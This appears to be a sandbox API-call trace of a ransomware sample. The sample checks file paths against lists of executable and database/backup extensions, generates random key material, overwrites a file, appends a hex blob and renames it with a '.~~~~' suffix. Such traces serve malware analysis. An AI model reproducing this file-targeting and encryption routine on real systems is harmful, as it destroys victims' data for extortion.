	[0083.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".BAC") returned 0x0
	[0083.992] lstrlenW (lpString=".dbs") returned 4
	[0083.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".dbs") returned 0x0
	[0083.992] lstrlenW (lpString=".vhdx") returned 5
	[0083.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".vhdx") returned 0x0
	[0083.993] lstrlenW (lpString=".NDF") returned 4
	[0083.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".NDF") returned 0x0
	[0083.993] lstrlenW (lpString=".dat") returned 4
	[0083.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".dat") returned 0x0
	[0083.993] lstrlenW (lpString=".DBS") returned 4
	[0083.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".DBS") returned 0x0
	[0083.993] lstrlenW (lpString=".CKP") returned 4
	[0083.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".CKP") returned 0x0
	[0083.993] lstrlenW (lpString=".edb") returned 4
	[0083.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".edb") returned 0x0
	[0083.993] lstrlenW (lpString=".PST") returned 4
	[0083.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".PST") returned 0x0
	[0083.993] lstrlenW (lpString=".dbf") returned 4
	[0083.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".dbf") returned 0x0
	[0083.993] lstrlenW (lpString=".SQL") returned 4
	[0083.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".SQL") returned 0x0
	[0083.993] lstrlenW (lpString=".pst") returned 4
	[0083.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".pst") returned 0x0
	[0083.993] lstrlenW (lpString=".dbv") returned 4
	[0083.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".dbv") returned 0x0
	[0083.993] lstrlenW (lpString=".SDF") returned 4
	[0083.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".SDF") returned 0x0
	[0083.993] lstrlenW (lpString=".dtxs") returned 5
	[0083.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".dtxs") returned 0x0
	[0083.993] lstrlenW (lpString=".db3") returned 4
	[0083.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".db3") returned 0x0
	[0083.993] lstrlenW (lpString=".OST") returned 4
	[0083.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".OST") returned 0x0
	[0083.993] lstrlenW (lpString=".dbx") returned 4
	[0083.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".dbx") returned 0x0
	[0083.993] lstrlenW (lpString=".DB3") returned 4
	[0083.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".DB3") returned 0x0
	[0083.993] lstrlenW (lpString=".DAT") returned 4
	[0083.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".DAT") returned 0x0
	[0083.994] lstrlenW (lpString=".VHDX") returned 5
	[0083.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".VHDX") returned 0x0
	[0083.994] lstrlenW (lpString=".ndf") returned 4
	[0083.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".ndf") returned 0x0
	[0083.994] lstrlenW (lpString=".DB") returned 3
	[0083.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".DB") returned 0x0
	[0083.994] lstrlenW (lpString=".sql") returned 4
	[0083.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".sql") returned 0x0
	[0083.994] lstrlenW (lpString=".MYD") returned 4
	[0083.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".MYD") returned 0x0
	[0083.994] lstrlenW (lpString=".DBT") returned 4
	[0083.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".DBT") returned 0x0
	[0083.994] lstrlenW (lpString=".ACCDB") returned 6
	[0083.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".ACCDB") returned 0x0
	[0083.994] lstrlenW (lpString=".fdb") returned 4
	[0083.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".fdb") returned 0x0
	[0083.994] lstrlenW (lpString=".bak") returned 4
	[0083.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".bak") returned 0x0
	[0083.994] lstrlenW (lpString=".myd") returned 4
	[0083.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".myd") returned 0x0
	[0083.994] lstrlenW (lpString=".DTXS") returned 5
	[0083.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".DTXS") returned 0x0
	[0083.994] lstrlenW (lpString=".ckp") returned 4
	[0083.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".ckp") returned 0x0
	[0083.994] lstrlenW (lpString=".dbt") returned 4
	[0083.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".dbt") returned 0x0
	[0083.994] lstrlenW (lpString=".db") returned 3
	[0083.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".db") returned 0x0
	[0083.994] lstrlenW (lpString=".TXT") returned 4
	[0083.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".TXT") returned 0x0
	[0083.994] lstrlenW (lpString=".MDF") returned 4
	[0083.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".MDF") returned 0x0
	[0083.994] lstrlenW (lpString=".bdb") returned 4
	[0083.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".bdb") returned 0x0
	[0083.995] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.995] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0083.995] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.995] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0083.996] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.996] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.996] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0083.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0083.996] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20398581742) returned 1
	[0083.996] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9be54530, dwHighDateTime=0x1d60e1e)) 
	[0083.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0083.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0083.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0083.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2448
	[0083.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.996] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2448 | out: hHeap=0x300000) returned 1
	[0083.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.996] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab768
	[0083.996] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.996] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab768 | out: hHeap=0x300000) returned 1
	[0083.996] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0083.996] GetLastError () returned 0x0
	[0083.997] GetLastError () returned 0x0
	[0083.997] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0083.997] GetLastError () returned 0x0
	[0083.997] GetLastError () returned 0x0
	[0084.073] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffff4e28, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.073] WriteFile (in: hFile=0x118, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0xb1d8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x26dfec0*=0xb1d8, lpOverlapped=0x0) returned 1
	[0084.073] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0084.074] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.074] WriteFile (in: hFile=0x118, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.074] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.074] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.075] CloseHandle (hObject=0x118) returned 1
	[0084.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6ba0
	[0084.075] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm.~~~~")) returned 1
	[0084.075] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6ba0 | out: hHeap=0x300000) returned 1
	[0084.075] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0084.075] GetLastError () returned 0x0
	[0084.075] RtlWakeConditionVariable () returned 0x365f70
	[0084.075] GetCurrentThreadId () returned 0x9cc
	[0084.075] GetCurrentThreadId () returned 0x9cc
	[0084.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4328
	[0084.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6ff0 | out: hHeap=0x300000) returned 1
	[0084.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c928 | out: hHeap=0x300000) returned 1
	[0084.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6ff0
	[0084.076] lstrlenW (lpString=".scr") returned 4
	[0084.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0084.076] lstrlenW (lpString=".cmd") returned 4
	[0084.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0084.076] lstrlenW (lpString=".dll") returned 4
	[0084.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0084.076] lstrlenW (lpString=".bat") returned 4
	[0084.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0084.076] lstrlenW (lpString=".cpl") returned 4
	[0084.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0084.076] lstrlenW (lpString=".sys") returned 4
	[0084.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0084.076] lstrlenW (lpString=".msc") returned 4
	[0084.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0084.076] lstrlenW (lpString=".com") returned 4
	[0084.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0084.076] lstrlenW (lpString=".lnk") returned 4
	[0084.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0084.076] lstrlenW (lpString=".msp") returned 4
	[0084.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0084.076] lstrlenW (lpString=".pif") returned 4
	[0084.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0084.076] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0084.076] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0084.230] lstrlenW (lpString=".sqb") returned 4
	[0084.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0084.230] lstrlenW (lpString=".ost") returned 4
	[0084.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0084.230] lstrlenW (lpString=".txt") returned 4
	[0084.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0084.231] lstrlenW (lpString=".mdt") returned 4
	[0084.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0084.231] lstrlenW (lpString=".BDB") returned 4
	[0084.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0084.231] lstrlenW (lpString=".eql") returned 4
	[0084.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0084.231] lstrlenW (lpString=".DBF") returned 4
	[0084.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0084.231] lstrlenW (lpString=".EQL") returned 4
	[0084.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0084.231] lstrlenW (lpString=".FDB") returned 4
	[0084.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0084.231] lstrlenW (lpString=".EDB") returned 4
	[0084.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0084.231] lstrlenW (lpString=".DACPAC") returned 7
	[0084.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0084.231] lstrlenW (lpString=".VHD") returned 4
	[0084.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0084.231] lstrlenW (lpString=".DBV") returned 4
	[0084.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0084.231] lstrlenW (lpString=".dacpac") returned 7
	[0084.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0084.231] lstrlenW (lpString=".sdf") returned 4
	[0084.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0084.231] lstrlenW (lpString=".accdb") returned 6
	[0084.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0084.231] lstrlenW (lpString=".DBX") returned 4
	[0084.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0084.231] lstrlenW (lpString=".MDT") returned 4
	[0084.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0084.231] lstrlenW (lpString=".SQB") returned 4
	[0084.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0084.231] lstrlenW (lpString=".vhd") returned 4
	[0084.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0084.232] lstrlenW (lpString=".bac") returned 4
	[0084.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0084.232] lstrlenW (lpString=".mdf") returned 4
	[0084.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0084.232] lstrlenW (lpString=".BAK") returned 4
	[0084.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0084.232] lstrlenW (lpString=".BAC") returned 4
	[0084.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0084.232] lstrlenW (lpString=".dbs") returned 4
	[0084.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0084.232] lstrlenW (lpString=".vhdx") returned 5
	[0084.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0084.232] lstrlenW (lpString=".NDF") returned 4
	[0084.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0084.232] lstrlenW (lpString=".dat") returned 4
	[0084.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0084.232] lstrlenW (lpString=".DBS") returned 4
	[0084.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0084.232] lstrlenW (lpString=".CKP") returned 4
	[0084.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0084.232] lstrlenW (lpString=".edb") returned 4
	[0084.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0084.232] lstrlenW (lpString=".PST") returned 4
	[0084.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0084.232] lstrlenW (lpString=".dbf") returned 4
	[0084.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0084.232] lstrlenW (lpString=".SQL") returned 4
	[0084.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0084.232] lstrlenW (lpString=".pst") returned 4
	[0084.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0084.233] lstrlenW (lpString=".dbv") returned 4
	[0084.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0084.233] lstrlenW (lpString=".SDF") returned 4
	[0084.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0084.233] lstrlenW (lpString=".dtxs") returned 5
	[0084.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0084.233] lstrlenW (lpString=".db3") returned 4
	[0084.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0084.233] lstrlenW (lpString=".OST") returned 4
